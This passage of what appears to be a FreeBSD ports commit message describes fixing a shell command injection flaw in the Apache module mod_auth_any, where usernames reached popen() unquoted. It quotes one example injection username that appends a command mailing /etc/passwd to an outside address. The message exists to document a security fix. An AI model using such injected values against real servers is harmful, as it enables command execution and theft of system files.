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0025bdf0b2
the server with the uid of the apache process. Background [1]: "The module accepts a username and password from the web client, passes them to a user-space executable (using popen(3), which invokes a shell) and waits for a response in order to authenticate the user. The password is quoted on the popen() command line to avoid interpretation of shell special chars, but the username is not. Thus a malicious user can execute commands by supplying an appropriately crafted username. (e.g. "foo&mail me@my.home</etc/passwd") "The problem is easily fixed by adding quotes (and escaping any quotes already present) to the username and password in the popen command line." o Fix this by adding a escaping function from [2]. Then, modifying this function appropriately with ideas from [3]. Apply the new escaping code to mod_auth_any. o Bump PORTREVISION Submitted by: Security Officer (nectar), Red Hat Security Response Team <security@redhat.com> [1] Obtained from: mod_auth_any CVS [2], nalin@redhat.com [3] |
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